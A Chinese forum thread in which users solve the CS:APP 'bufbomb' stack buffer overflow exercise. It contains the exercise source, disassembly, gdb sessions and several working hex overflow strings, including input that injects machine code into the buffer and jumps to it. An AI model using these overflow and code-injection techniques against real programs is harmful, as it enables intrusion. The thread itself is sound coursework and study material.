这是出自《深入理解计算机系统》的一道题目:
[code:1:d0aaabbf15]
/* Bomb program that is solved using a buffer overflow attack */
#include
#include
#include
/* Like gets, except that characters are typed as pairs of hex digits.
Nondigit characters are ignored. Stops when encounters newline */
char *getxs(char *dest)
{
int c;
int even = 1; /* Have read even number of digits */
int otherd = 0; /* Other hex digit of pair */
char *sp = dest;
while ((c = getchar()) != EOF && c != '\n') {
if (isxdigit(c)) {
int val;
if ('0' <= c && c <= '9')
val = c - '0';
else if ('A' <= c && c <= 'F')
val = c - 'A' + 10;
else
val = c - 'a' + 10;
if (even) {
otherd = val;
even = 0;
} else {
*sp++ = otherd * 16 + val;
even = 1;
}
}
}
*sp++ = '\0';
return dest;
}
/* $begin getbuf-c */
int getbuf()
{
char buf[12];
getxs(buf);
return 1;
}
void test()
{
int val;
printf("Type Hex string:");
val = getbuf();
printf("getbuf returned 0x%x\n", val);
}
/* $end getbuf-c */
int main()
{
int buf[16];
/* This little hack is an attempt to get the stack to be in a
stable position
*/
int offset = (((int) buf) & 0xFFF);
int *space = (int *) alloca(offset);
*space = 0; /* So that don't get complaint of unused variable */
test();
return 0;
}
[/code:1:d0aaabbf15]
题目的要求是,在getbuf函数中也许“显然”地会返回1,通过输入一个数据使这个函数返回0xdeadbeef,就是在test函数中地printf中打印地是0xdeadbeef.
我大概有了思路,做着玩玩,晚上回来再说。
FreeGnu 回复于:2004-11-03 21:47:59 要是能来篇
堆的溢出或shellcode的编写就更好了
本篇文章共13页,此页为首页 下一页
期望中......
converse 回复于:2004-11-03 22:40:07 思路已经想到了,还没有时间实践,分析如下:
当函数test在调用getbuf的时候,栈的分布情况大致如下:
[code:1:384b9f0f0e]
| | <- test的栈帧 (地址在高位)
|为局部变量分配空间(val) |
| 其他的一些空间 |
| 返回地址 |
| | <-getbuf的栈帧 (地址在低位)
|为局部变量分配空间(buf变量) |
| 其他的一些空间 |
| 返回地址 |
| |
[/code:1:384b9f0f0e]
而getbuf中的局部变量buf数组就是紧靠着getbuf栈帧的数据空间,当这个空间溢出的时候,数据就会跑到test函数的栈帧中。
看下面的test函数的汇编代码:
[code:1:384b9f0f0e]
00000115 <_test>:
115: 55 push %ebp
116: 89 e5 mov %esp,%ebp
118: 83 ec 18 sub $0x18,%esp
11b: c7 04 24 ee 00 00 00 movl $0xee,(%esp)
122: e8 00 00 00 00 call 127 <_test+0x12>
127: e8 aa ff ff ff call d6 <_getbuf>
12c: 89 45 fc mov %eax,0xfffffffc(%ebp)
12f: 8b 45 fc mov 0xfffffffc(%ebp),%eax
132: 89 44 24 04 mov %eax,0x4(%esp)
计算机教程【好玩】缓冲区溢出攻击实验来自www.itwen.comIT WEN计算机教程网
136: c7 04 24 ff 00 00 00 movl $0xff,(%esp)
13d: e8 00 00 00 00 call 142 <_test+0x2d>
142: c9 leave
143: c3 ret
[/code:1:384b9f0f0e]
注意到12c那一行,是把调用getbuf函数的返回值传到局部变量0xfffffffc(%ebp)中,就是val,接下来的一行就是把这个局部变量传到eax寄存器再由寄存器传到test栈帧的后面然后再调用printf函数。
我的修改思路如下,反汇编出从getbuf函数的栈帧中buf数组那部分直到test中val变量之间的代码,其他的部分不改变,改变的只有以下两个部分:
1)修改test函数的返回地址,使这个地址指向12f那一行,就是说把
mov %eax,0xfffffffc(%ebp)这一行跳过,直接把变量val的值传到printf中
2)找到val在栈帧所在的位置,把这个位置的代码改为我们所要的,也就是0xdeadbeef.
思路大致如上面所说,明天有时间实践看看。
不知道说清楚没有,大家给点意见。
converse 回复于:2004-11-03 23:09:44 简而言之,修改后的test函数是这样的:
[code:1:d925617121]
void test()
{
int val = 0xdeadbeef; //把val变量改为我们需要的值
printf("Type Hex string:");
//val = getbuf(); //单独调用getbuf函数,不把返回值放在val中
getbuf();
printf("getbuf returned 0x%x\n", val);
}
[/code:1:d925617121]
aero 回复于:2004-11-04 08:42:48 在《黑客就这么几招》中有很详细的缓冲区溢出漏洞的原理和shellcode的编写。
^_^,当初在书店看到这书,本来打算翻开嘲笑一翻,因为这个名字太张扬了。不过,看了却发现,有很多废话(教授工具和讲述历史)以外,还是有些内容的。尤其将缓冲区溢出漏洞和格式化字符串漏洞的原理讲述的尤为详细。
本篇文章共13页,此页为第2 页 上一页 下一页
aero 回复于:2004-11-04 09:19:06 converse,你的思路错了。题目的意思,不是想让你覆盖val的值,这样做没有什么意义。而是想让你通过getbuf函数返回一个地址。这才是有用的。
我们能控制它返回一个值,我们就能进一步让这个值覆盖getbuf函数返回时要执行的指令。如果我们在我们控制的这个返回值的地址上,放上一个shellcode。那么就能让程序“脱轨”,而进入我们设定的“轨道”。
converse 回复于:2004-11-04 09:28:19 是的,现在这样看应该有很多办法实现,因为既然找到了覆盖返回时执行指令的办法就可以为所欲为了,我晚上再做做看吧。
aero 回复于:2004-11-04 11:13:04 converse兄,你的思路还是正确的,偶刚才说错了,^_^,莫怪。
呵呵,刚才深入搞了一下,这个还真不简单。这个题要求我们溢出,让程序“脱轨”一段后,还要回到原来的“轨道”上去,继续打印出val的值。不能是像平常的溢出攻击一样,让它“脱轨”,走我们设定的“轨道”就好了。所以想了一下,要做的事情有4步:
1、计算出getbuf函数下一条指令(给val赋值)的下一条指令的地址:A。
2、计算出getbuf函数返回的栈帧的地址:B。B中原来存放的是getbuf函数下一条指令(给val赋值)的地址:C。
3、通过输入精心设计的输入串,将A(内容)写入B(地址),即用A,覆盖C,使函数返回的时候跳过给val赋值的部分。使火车“脱轨”,绕过一个“站点”后,继续回到原来的铁路上。
4、精心设计的输入串,同时也要用0x覆盖val变量,就像converse说的。
关键就在于计算A和B。A要计算出绝对的数值,B起码要计算出相对的数值。A的计算,单从程序上看,实在想不出什么办法。莫非要去分析gcc将每条指令都翻译成了什么,占多少字节?B的计算,相对比较容易,可以从在栈上分配的空间计算出来,可是,汇编了C程序分析了一下。gcc总是在分配空间的时候很“大方”,总是多让出一些字节(防止溢出攻击?),而且,郁闷的是,让出的这些空间,大小不是固定的。有的函数是8个字节,有的函数是12个字节,真是找不到规律。难道要去读gcc的源码?
搞了一上午,不能搞了。今天任务要完不成了。得去工作了。唉,晚上回来在说吧。
win_hate 回复于:2004-11-06 00:52:01 :D
运行在 VMWare 上的 gentoo linux, 通过 xshell 访问。
aero 回复于:2004-11-06 09:44:29 哈哈哈,好啊,好啊。来,来,讲讲原理。讲讲怎么做的。
converse 回复于:2004-11-06 13:26:32 看到win_hate作出来了,我也不能闲着了,也做了一个玩玩。
我用cygwin测试的结果,注意在gdb中我打印出来的值,这些就是要修改的地方。
另外要注意的是这里的ebp是在getbuf中的,所以这里给出的数据也是相对于getbuf栈帧的数据。
它们分别是
1)$ebp:test栈帧的地址,当调用getbuf函数的时候要压入栈保存,这里要原封不动的写出来
2)$ebp+4:从getbuf函数中返回以后执行的指令的下一个指令的地址,注意原来的值是0x401183,可是我写回去的时候变成了0x401186,详细的说明见我下面的说明。
3)$ebp+32和$ebp+36,我不知道为什么还要写入这两个值,因为我认为改动只要到修改val的值就够了,可是这样会出错的,见我下面的说明。
我用cygwin测试的结果,注意在gdb中我打印出来的值,这些就是要修改的地方
converse 回复于:2004-11-06 13:35:56 说明一下修改的地方吧,如下,注意我的机子是小端法表示的:
1)d8ef2200:用小端法就是0x22efd8,这个是test栈帧的ebp的值,在调用getbuf的时候压入栈中保存,这里要原封不动的写出来。
2)86114000:先看看test函数的反汇编代码吧,如下:
[code:1:3369b076c6]
00000115 <_test>:
115: 55 push %ebp
116: 89 e5 mov %esp,%ebp
本篇文章共13页,此页为第3页 上一页 下一页
118: 83 ec 18 sub $0x18,%esp
11b: c7 04 24 ee 00 00 00 movl $0xee,(%esp)
122: e8 00 00 00 00 call 127 <_test+0x12>
127: e8 aa ff ff ff call d6 <_getbuf>
12c: 89 45 fc mov %eax,0xfffffffc(%ebp) ;从getbuf函数中返回就执行这个指令。
12f: 8b 45 fc mov 0xfffffffc(%ebp),%eax
132: 89 44 24 04 mov %eax,0x4(%esp)
136: c7 04 24 ff 00 00 00 movl $0xff,(%esp)
13d: e8 00 00 00 00 call 142 <_test+0x2d>
142: c9 leave
143: c3 ret
[/code:1:3369b076c6]
12c中的指令mov %eax,0xfffffffc(%ebp) 是从getbuf函数中返回的时候就要执行的指令,指令长度为3个字节,因为指令的编码是89 45 fc,我们的改动必须跳过这个指令。
因此我们求出ebp+4的内容,这个内容就是这个指令的执行地址,把这个地址加3就是下一个指令即
[code:1:3369b076c6]
12f: 8b 45 fc mov 0xfffffffc(%ebp),%eax
[/code:1:3369b076c6]
的地址。
因此,86114000用小端法表示就是0x401186就是下一条指令的地址。
3)efbeadde:向局部变量val写入我们要修改的值。
converse 回复于:2004-11-06 13:40:47 见这副图,如果我输入的值只到0xdeadbeef的时候程序就会出现"segmentation fault",win_hate能解释一下为什么吗??
出现问题的图片
afministrator 回复于:2004-11-06 15:30:18 啊,没有看明白呀
win_hate 回复于:2004-11-06 20:02:17 [quote:2d23f4cb3e="converse"]见这副图,如果我输入的值只到0xdeadbeef的时候程序就会出现"segmentation fault",win_hate能解释一下为什么吗??[/quote:2d23f4cb3e]
val 后面是 test 栈帧中的保存 ebp 值和返回地址,在 getxs 中最后部分有一句
[code:1:2d23f4cb3e]
*sp++ = '\0';
[/code:1:2d23f4cb3e]
会破坏保存的 ebp 值
converse 回复于:2004-11-06 20:23:42 [quote:a7e041e65c="win_hate"]
会破坏保存的 ebp 值[/quote:a7e041e65c]
明白了,最后的两个32位的字符串,一个是main函数的ebp的值,一个是从test函数中返回后main函数的下一条指令的地址。
converse 回复于:2004-11-07 13:14:12 还有一个问题,就是从键盘输入字符串的时候,这里输入的字符串到底是存放在哪里的?这个输入一直要到输入回车键的时候才开始输入到buf数组中吧?
aero 回复于:2004-11-08 12:59:54 ^_^,偶也做出来了。地址是用gdb看出来的。要是能计算出来就好了。
另,converse,你是用什么反汇编的啊?怎么让指令和机器码一同显示啊?就是像debug那样。
[code:1:fc25016126]
[yangwl:/home/users50/yangwl/test/converse]$ ./a.out
Type Hex string:12 23 34 45 56 67 78 89 90 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 f8 ef ff bf ca 84 04 08 12 23 34 45 ef be ad de e8 fb ff bf 1f 85 04 08
本篇文章共13页,此页为第4页 上一页 下一页
getbuf returned 0xdeadbeef
[yangwl:/home/users50/yangwl/test/converse]$ gcc -v
Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/3.2/specs
Configured with: ../configure --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info --enable-shared --enable-threads=posix --disable-checking --host=i386-redhat-linux --with-system-zlib --enable-__cxa_atexit
Thread model: posix
gcc version 3.2 20020903 (Red Hat Linux 8.0 3.2-7)
[yangwl:/home/users50/yangwl/test/converse]$ uname -a
Linux db2 2.4.18-14smp #1 SMP Wed Sep 4 12:34:47 EDT 2002 i686 i686 i386 GNU/Linux
[yangwl:/home/users50/yangwl/test/converse]$
[/code:1:fc25016126]
converse 回复于:2004-11-08 13:08:58 [quote:6fea16f599="aero"] 另,converse,你是用什么反汇编的啊?怎么让指令和机器码一同显示啊?就是像debug那样。[/quote:6fea16f599]
首先是 gcc -c参数产生目标代码文件,然后用objdump -D就可以反汇编目标文件了
aero 回复于:2004-11-08 13:15:42 哈哈,学到,谢谢。
rootkitT 回复于:2004-11-08 16:55:25 进来晚了,你们都说完了我才看见
上面的兄弟,小弟顶一下先
win_hate 回复于:2004-11-08 17:38:26 其实还可以讨论的,如果不介意程序崩溃,可以这么做:
aero 回复于:2004-11-08 19:00:06 [quote:2a63f73a60="win_hate"]其实还可以讨论的,如果不介意程序崩溃,可以这么做:[/quote:2a63f73a60]
:em02: :em02: ^_^,好,又换了个思路,彻底改变了val变量的位置。
偶的:
[code:1:2a63f73a60]
[yangwl:/home/users50/yangwl/test/converse]$ ./a.out
Type Hex string:ef be ad de 56 67 78 89 90 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 d4 ef ff bf c5 84 04 08
getbuf returned 0xdeadbeef
Segmentation fault
[yangwl:/home/users50/yangwl/test/converse]$
[/code:1:2a63f73a60]
aero 回复于:2004-11-08 19:09:23 win_hate其实,这种思路,也可以不怕程序崩溃的。我们改动了ebp,在改回去就是了,一样可以返回到main里面的正常路径上去的。
[code:1:090f431f6c]
[yangwl:/home/users50/yangwl/test/converse]$ ./a.out
Type Hex string:ef be ad de e8 fb ff bf 17 85 04 08 13 14 15 16 17 18 19 20 21 22 23 24 d4 ef ff bf c5 84 04 08
getbuf returned 0xdeadbeef
本篇文章共13页,此页为第5页 上一页 下一页
[yangwl:/home/users50/yangwl/test/converse]$
[/code:1:090f431f6c]
win_hate 回复于:2004-11-08 19:19:34 改哪里,如何改?
aero 回复于:2004-11-08 19:23:42 [yangwl:/home/users50/yangwl/test/converse]$ ./a.out
Type Hex string:ef be ad de [color=red:06eba410e1]e8 fb ff bf 17 85 04 08 [/color:06eba410e1]13 14 15 16 17 18 19 20 21 22 23 24 d4 ef ff bf c5 84 04 08
getbuf returned 0xdeadbeef
[yangwl:/home/users50/yangwl/test/converse]$
这里,把main里面的ebp和指令地址在完好的给改回去不就好了?
win_hate 回复于:2004-11-08 19:28:58 在我的系统上不行,你看看我给出的串,我已经给出了相应地址。
在我的系统上,似乎 printf 会覆盖我填进去的值。
aero 回复于:2004-11-08 19:37:57 ^_^,好好看看。想看到结论。加油。
Solaris12 回复于:2004-11-09 10:39:32 [quote:1e8230e8fb="converse"]见这副图,如果我输入的值只到0xdeadbeef的时候程序就会出现"segmentation fault",win_hate能解释一下为什么吗??[/quote:1e8230e8fb]
deadbeef的意思是使用了已经被free了的内存,
当然会有段错误了!
aero 回复于:2004-11-09 10:49:39 [quote:c3c559c01a="Solaris12"]
deadbeef的意思是使用了已经被free了的内存,
当然会有段错误了![/quote:c3c559c01a]
不是吧。上面win_hate已经说的很明白了,是因为后面的'\0'会破坏test压入的ebp,以致于无法在返回main函数的时候,进入正确的“轨道”。
Solaris12 回复于:2004-11-09 11:00:09 [quote:5561593cdd="aero"]
不是吧。上面win_hate已经说的很明白了,是因为后面的'\0'会破坏test压入的ebp,以致于无法在返回main函数的时候,进入正确的“轨道”。[/quote:5561593cdd]
抱歉,刚才没仔细看,呵呵
这个出题目的一定是老美,
deadbeef在Solaris的调试器里面有特殊含义,抱歉
aero 回复于:2004-11-09 11:08:32 [quote:af3263885c="Solaris12"]
抱歉,刚才没仔细看,呵呵
这个出题目的一定是老美,
deadbeef在Solaris的调试器里面有特殊含义,抱歉[/quote:af3263885c]
哦,虾米特殊含义啊?说来听听。 :em02: :em02:
Solaris12 回复于:2004-11-09 11:30:30 [quote:40fe358080="aero"]
哦,虾米特殊含义啊?说来听听。 :em02: :em02:[/quote:40fe358080]
其实deadbeef不止在Solaris下,恐怕在UNIX/LINUX文化里,都有
特殊含义:
DEADBEEF /ded-beef/ n.
(From the Jargon file)
The hexadecimal word-fill pattern for freshly allocated memory under a number of IBM environments, including the RS/6000. Some modern debugging tools deliberately fill freed memory with this value as a way of converting heisenbugs into Bohr bugs. As in "Your program is DEADBEEF" (meaning gone, aborted, flushed from memory); if you start from an odd half-word boundary, of course, you have BEEFDEAD. See also the anecdote under fool and dead beef attack.
本篇文章共13页,此页为第6页 上一页 下一页
deadbeef就是指引用已经free的内存
aero 回复于:2004-11-09 12:32:34 ^_^,原来还有典故的说。
流川 回复于:2004-11-09 15:16:50 哇,一个比一个强
afministrator 回复于:2004-11-10 10:58:23 我想你们应用C++写一个了呀呵呵 :em02:
pigjj 回复于:2004-12-23 14:23:43 我有一点不明白,你们如何算出缓冲区的大小 ? 是否是在getbuf中 ebp-esp 的值。
[code:1:710fc9da6e](gdb) disas getbuf
Dump of assembler code for function getbuf:
0x080484b0 : push %ebp
0x080484b1 : mov %esp,%ebp
0x080484b3 : lea 0xffffffe8(%ebp),%eax
0x080484b6 : sub $0x28,%esp
0x080484b9 : mov %eax,(%esp)
0x080484bc : call 0x8048420
0x080484c1 : mov %ebp,%esp
0x080484c3 : mov $0x1,%eax
0x080484c8 : pop %ebp
0x080484c9 : ret
0x080484ca : lea 0x0(%esi),%esi
End of assembler dump.
(gdb) b *0x080484bc
Breakpoint 2 at 0x80484bc
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/pigjj/prog/c/atack/a.out
Breakpoint 2, 0x080484bc in getbuf ()
(gdb) i reg
eax 0xbfffefd0 -1073745968
ecx 0x40148080 1075085440
edx 0x10 16
ebx 0x4014e620 1075111456
esp 0xbfffefc0 0xbfffefc0
ebp 0xbfffefe8 0xbfffefe8
esi 0x400164a0 1073833120
edi 0xbffffa04 -1073743356
eip 0x80484bc 0x80484bc
eflags 0x286 646
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x0 0
[/code:1:710fc9da6e]
从上面可以看出 函数getbuf的栈帧大小是 0x28 ,就是40个字节。可是我的程序输入23 个字节就 segmentation fail
[code:1:710fc9da6e](gdb) run
Starting program: /home/pigjj/prog/c/atack/a.out
Type Hex string:01 02 03 04 05 06 07 08 09 10 11 12 13 14 05 16 17 18 19 2021 22 23
getbuf returned 0x1
Program exited normally.
(gdb) run
本篇文章共13页,此页为第7页 上一页 下一页
Starting program: /home/pigjj/prog/c/atack/a.out
Type Hex string:01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 2021 22 23 24
getbuf returned 0x1
Program received signal SIGSEGV, Segmentation fault.
0x00000400 in ?? ()
(gdb)
[/code:1:710fc9da6e]
我想问下各位大哥,你们是怎样确定缓冲区大小的,谢谢 :)[/code]
aero 回复于:2004-12-23 14:28:04 ^_^,你要先明白啥是缓冲区的概念,然后知道为什么会溢出,然后分析明白栈帧的哪里到哪里是表示什么的。
呵呵,看看偶blog上对这个问题的详细分析。应该对你有帮助。
pigjj 回复于:2004-12-24 11:04:29 不好意思我太糊涂了,犯了错误。
我明白缓冲区溢出是我们输入的字节超出了gcc分配给buf的大小,可是问题的关键是我们如何确定gcc分配给buf的空间,
调用getxs 前getbuf 的栈帧
-----------------
| | <-------保存的ebp 4个字节
------------------
| |
| |
| |
| | buf在这段空间的哪一部分,如何确定大小
| |
| |
| |
| |
-----------
| | 返回地址4个字节。
-----------
aero 回复于:2004-12-24 11:08:20 看源码啊,然后结合编译器的对齐规则。^_^,其实,各种不同的编译优化选项也可以使它不同呢,甚至可以不使用ebp呢。
看源码,然后编译,然后调试,然后确定,然后实验,然后去试目标。
pigjj 回复于:2004-12-25 18:50:07 [code:1:6fe8060e4c]
pigjj@Ale:~/prog/c/atack$ uname -a
Linux Ale 2.4.26-1-386 #1 Thu Jul 22 12:46:23 JST 2004 i686 GNU/Linux
pigjj@Ale:~/prog/c/atack$ gcc -v
Reading specs from /usr/lib/gcc-lib/i486-linux/3.3.4/specs
Configured with: ../src/configure -v --enable-languages=c,c++,java,f77,pascal,objc,ada,treelang --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info --with-gxx-include-dir=/usr/include/c++/3.3 --enable-shared --with-system-zlib --enable-nls --without-included-gettext --enable-__cxa_atexit --enable-clocale=gnu --enable-debug --enable-java-gc=boehm --enable-java-awt=xlib --enable-objc-gc i486-linux
Thread model: posix
gcc version 3.3.4 (Debian 1:3.3.4-3)
pigjj@Ale:~/prog/c/atack$ ./a.out
Type Hex string:12345678 12345678 12345678 12345678 12345678 12345678 f8efffbf eb840408 44686408 efbeadde d8f9ffbf 27850408
getbuf returned 0xdeadbeef
[/code:1:6fe8060e4c]
I got it :D
zne 回复于:2005-02-17 16:20:59 前面大家都是修改了test的返回地址,修改getbuf的返回地址大家觉得可以么?
本篇文章共13页,此页为第8页 上一页 下一页
我想先贴一下我看的书里的原题
代码在这里 http://csapp.cs.cmu.edu/public/code.html bufbomb.c
题目:
Homework Problem 3.38 [Category 3]:
In this problem, you will mount a buffer overflow attack on your own program.
As stated earlier, we do not condone using this or any other form of attack to gain unauthorized access to a system, but by doing thisexercise, you will learn a lot about machine-level programming.
Download the file bufbomb.c from the CS:APP website and compile it to create an executable program.
In bufbomb.c, you will find the following functions:
1 int getbuf()
2 {
3 char buf[12];
4 getxs(buf);
5 return 1;
6 }
7
8 void test()
9 {
10 int val;
11 printf("Type Hex string:");
12 val = getbuf();
13 printf("getbuf returned 0x%x\n", val);
14 }
The function getxs (also in bufbomb.c) is similar to the library gets, except that it reads charactersencoded as pairs of hex digits. For example, to give it a string “0123,” the user would type in the string“30 31 32 33.” The function ignores blank characters. Recall that decimal digit x has ASCII representation0x3x.
A typical execution of the program is as follows:
unix> ./bufbomb
Type Hex string: 30 31 32 33
getbuf returned 0x1
Looking at the code for the getbuf function, it seems quiteapparent that it will return value 1 whenever it
is called. It appears as if the call to getxs has no effect.
[color=blue:bbc752fa04]Your task is to make getbuf return -559038737(0xdeadbeef) to test, simply by typing an appropriate hexadecimal string to the prompt.[/color:bbc752fa04]
Here are some ideas that will help you solve the problem:
Use OBJDUMP to create a disassembled version of bufbomb. Study this closely to determine howthe stack frame for getbuf is organized and how overflowing the buffer will alter the saved program state.
[color=blue:bbc752fa04]Run your program under GDB. Set a breakpoint within getbuf and run to this breakpoint. [/color:bbc752fa04]Determine such parameters as the value of %ebp and the saved value of any state that will be overwritten when you overflow the buffer.
本篇文章共13页,此页为第9页 上一页 下一页
[color=blue:bbc752fa04] Determining the byte encoding of instruction sequences by hand is tedious and prone to errors. You can let tools do all of the work by writing an assembly code file containing the instructions and data you want to put on the stack. Assemble this file with GCC and disassemble it with OBJDUMP. You should be able to get the exact byte sequence that you will type at the prompt. .[/color:bbc752fa04]
OBJDUMP will producesome pretty strange looking assembly instructions when it tries to disassemble the data in your file,
but the hexadecimal byte sequence should be correct.
Keep in mind that your attack is very machine and compiler specific. You may need to alter your string when running on a different machine or with a different version of GCC.
zne 回复于:2005-02-17 17:01:10 我理解题目要求我们在向buf[]中输入数据时,输入一些能够执行的机器指令,在我的机器上,getbuf的栈祯是这样
return address| test的栈帧,存储了call getbuf之后的下一条指令地址
__saved %ebp| %ebp 从这里开始是getbuf的栈帧,存储test的帧指针
____________|
____________|
____________|
____________|
____________|
____________|buf[]
我的想法是应该可以在gdb下运行bufbomb程序,在getbuf处设断点,当运行到getbuf时
print /x $ebp
得到getbuf frame pointer值,假设结果是 0xbfffffc0
print /x *(unsigned*) 0xbfffffc0
得到getbuf的 frame pointer处存储的test的frame pointer值
print /x ($ebp-24)
得到buf[]的地址
之后我们向buf[]填入8byte数据,先不考虑机器指令的编写
改为buf[]地址 | return address
保持原值不变 | <-%ebp
90 90 90 90 |
90 90 90 90 |
90 90 90 90 |
90 90 90 90 |
90 90 90 90 |
90 90 90 90 |buf[]
现在将90部分改为下面汇编语句的机器指令表示,假设正常情况下call getbuf之后的下一条指令地址为0Xxxxxxxxx
movl $deadbeef,%eax
pushl $0Xxxxxxxxx
ret
大家觉得这个方法可不可能行得通?我试过将return address覆盖为任意一条已编译好的instruction的地址,能够成功。但将return address覆盖为buf[]地址的话,就会在getbuf ret回test时发生segmentation fault.
这里为什么会发生segmentation fault?怎么才能够ret回这个stack frame部分呢?
输入buf的数据的最后一位'\0',感觉应该不会产生什么破坏,因为将return address覆盖为任意一条已编译好的instruction的地址,能够成功。
converse 回复于:2005-02-17 19:25:12 没看懂你的意思呀,汗颜中...
你试着截图来说明一下吧:)
本篇文章共13页,此页为第10页 上一页 下一页
yuxh 回复于:2005-02-17 19:56:26 不好玩!
在Linux下很正常,跑到unixware下一搞,MD,把我的虚拟机都搞没了!
zne 回复于:2005-02-17 22:46:05 第一副图: disassemble of test ,getbuf 和bomb
bomb 是在bufbomb.c中加的一段试验性质的代码
修改后的bufbomb.c 比原先只多了一个bomb程序的定义
void bomb()
{
asm("movl $0xdeadbeef,%eax");
asm("pushl $0x080484e9");
asm("ret");
}
/* $begin getbuf-c */
int getbuf()
{
char buf[12];
getxs(buf);
return 1;
}
void test()
{
int val;
printf("Type Hex string:");
val = getbuf();
printf("getbuf returned 0x%x\n", val);
}
/* $end getbuf-c */
zne 回复于:2005-02-17 22:48:23 第二副图: 将getbuf返回地址改为 0x080484af, 成功
zne 回复于:2005-02-17 23:09:01 第三副图: 将getbuf返回地址改为buf[]的地址,失败
第一副图中test对应的汇编代码里
80484bf: 8d 45 e8 lea 0xffffffe8(%ebp),%eax
80484c5: 50 push %eax
可以看出,buf[]的地址为%ebp+0xffffffe8,即%ebp-24
从第一副图中还可得,
movl $0xdeadbeef,%eax
pushl $0x080484e9
ret
所对应的机器指令是
b8 ef be ad de
68 e9 84 04 08
c3
这段机器代码应该没有问题(因为第二副图中所示的试验是成功的),
但当getbuf试图返回buf[]处执行时,发生了segmentation fault, 大家觉得这是什么原因呢?
converse 回复于:2005-02-18 10:36:25 我大概知道你是哪里出错了--顺序问题,应该是从高到低来存放你的机器指令,而你原来是从低到高来存放的,暂时还没有时间实践,看你一直在线,怕你等久了,先回复这些,等会我自己试试看.
zne 回复于:2005-02-18 10:49:20 呵呵很感谢了,困扰了我近一个月^^,我白天也没法试,还得等晚上回家才能试,
不过我试过如果机器指令全换成0X90(nop, no operation 空操作的话),还是会在getbuf的ret处出segmentation fault的,好像就没有成功跳去buf[]地址,对于处理器和内存操作,很多基本概念我还都不清楚
aero 回复于:2005-02-18 11:18:22 大致看了一下,发现有以下问题:
>>前面大家都是修改了test的返回地址,修改getbuf的返回地址大家觉得可以么?
都是修改的getbuf的返回地址啊!可以看看我的blog上的一篇详细分析,一种方法是修改getbuf的返回地址并修改val的值。另一种方法是修改getbuf的返回地址并修改test种的ebp使改变val的位置使之与buf重合。
>>我的想法是应该可以在gdb下运行bufbomb程序,在getbuf处设断点,当运行到getbuf时
>>print /x $ebp
>>得到getbuf frame pointer值
打印出的ebp是test中的ebp值,不是getbuf中的ebp值,要用s执行一下后才是。因为这个时候还没有执行movl %esp, %ebp这条指令。
本篇文章共13页,此页为第11页 上一页 下一页
>>大家觉得这个方法可不可能行得通?我试过将return address覆盖为任意一条已编译好的instruction的地址,能够成功。但将return address覆盖为buf[]地址的话,就会在getbuf ret回test时发生segmentation fault.这里为什么会发生segmentation fault?怎么才能够ret回这个stack frame部分呢?
正如converse说的,堆栈的地址是从高到低的,而指令的执行是从低到高的。将返回地址覆盖成buf地址后,由于buf中全是空指令,不会有什么问题。但是,堆栈的上面是存储的test中的ebp的值,这个值一般并不会是一个可以执行的机器指令,或者是取什么地址了吧?反正就是fault了。^_^,猜的。
zne 回复于:2005-02-18 11:41:48 to aero:
一 呵呵不好意思,看错啦
二 从到达断点时的提示信息来看,此时程序停在0x080484bf处(下一条要执行的指令是0x080484bf处的指令),这时打印出的ebp感觉就是getbuf的frame pointer值(%ebp),因为0x080484bd处的指令movl %esp, %ebp 应该已经执行了,从图中打印出的(%ebp+4)地址处的内容也可以看出(打印出的就是getbuf返回test的return address 0x80484e9)
三 关于机器指令的排列顺序,我感觉第三个图中的排列顺序应该是对的,不过由于让程序转去执行buf[]中的内容这个尝试总不成功,也不好说,也可能是错的。不过感觉如果指令排列顺序错了,不应该会在getbuf的ret语句处就出现segmentation fault吧,感觉ret "buf地址" 时系统就取不到buf[]地址处的内容似的...
由于原题目(前面贴出了)中提示说让在buf[]中输入机器指令,觉得这个做法(修改getbuf返回地址,让程序转去执行buf[]中内容的方法)应该是对的。但不知道为什么实现不了...
converse 回复于:2005-02-18 11:43:28 我试了N次,觉得理论上应该是没有问题的,可是就是不行.
zne的思路是往缓冲区写如如下的代码:
[code:1:ab4b9ff31f]
asm("movl $0xdeadbeef,%eax");
asm("pushl $0x080484e9");
asm("ret");
[/code:1:ab4b9ff31f]
其中的$0x080484e9具体情况下不尽相同,这个是test函数在调用完getbuf以后下一条指令的地址,就是说他的想法是在test函数中插入
movl $0xdeadbeef,%eax
这条指令.
上面这三条汇编码的机器指令是:
[code:1:ab4b9ff31f]
b8 ef be ad de
68 e9 84 04 08
c3
[/code:1:ab4b9ff31f]
所以只需要往缓冲区里写入这三条机器码然后把getbuf的返回地址改为这三个机器码的起始位置就可以了,我原来认为他把机器码的顺序写反了,可是我自己写了写还是不行..........
aero 回复于:2005-02-18 14:23:02 看了,converse的解释,明白了。好!又是一种思路!
试验成功了!不知道你们错哪里的。仔细做应该没问题的,思路是对的。我也做了好久,后来发现把一个e8写成f8了。
另外,发现gdb中,用b getbuf和b 38(用行号)设置的断点是不一样的,后者设置的就是没执行pushl %ebp指令的,而前者就是执行了的。
zne 回复于:2005-02-18 14:33:06 成功了^_^ 好啊好阿,帮我看看吧
就是我贴的第一副截图和第三副截图,看第三副截图的操作有什么错误么,是不是机器指令顺序错了呢?
我照第三幅图的做法试过挺多次的了... 各种地址和指令应该都没错的
converse 回复于:2005-02-18 14:51:47 aero截图来说明,夹叙夹议带抒情的那种:)
aero 回复于:2005-02-18 15:39:10 我的填充串是这样的:b8 ef be ad de 68 bf 84 04 08 c3 00 01 02 03 04 05 06 07 08 09 10 11 12 e8 ef ff bf c0 ef ff bf
本篇文章共13页,此页为第12页 上一页 下一页
1、前11个字节就是那三条指令,而指令的地址也正是用objdump看出来的,这里是080484bf。
2、后面的13个字节是buf中剩余的字节和gcc为了对齐(也许不全是,因为整整空了12个字节不使用)而空出来的12个字节。
3、接下来的4个字节就是原来堆栈里的ebp(test函数的STP的ebp,就是getbuf函数开始push进去的ebp)。
4、然后的4个字节就是getbuf返回的eip,修改它,将它修改成buf的起始地址,这个是通过在gdb中使用p &buf命令看出来的(这个地方还有一个问题不明白,一会说)。
5、后面的4个字节是同2一样的无用空间。然后的4个字节就是val了。由于getxs函数会在buf的末尾加上一个'\0',所以将这个'\0'放在这个无用的空间是无害的。
整个填充串就这样完成了。
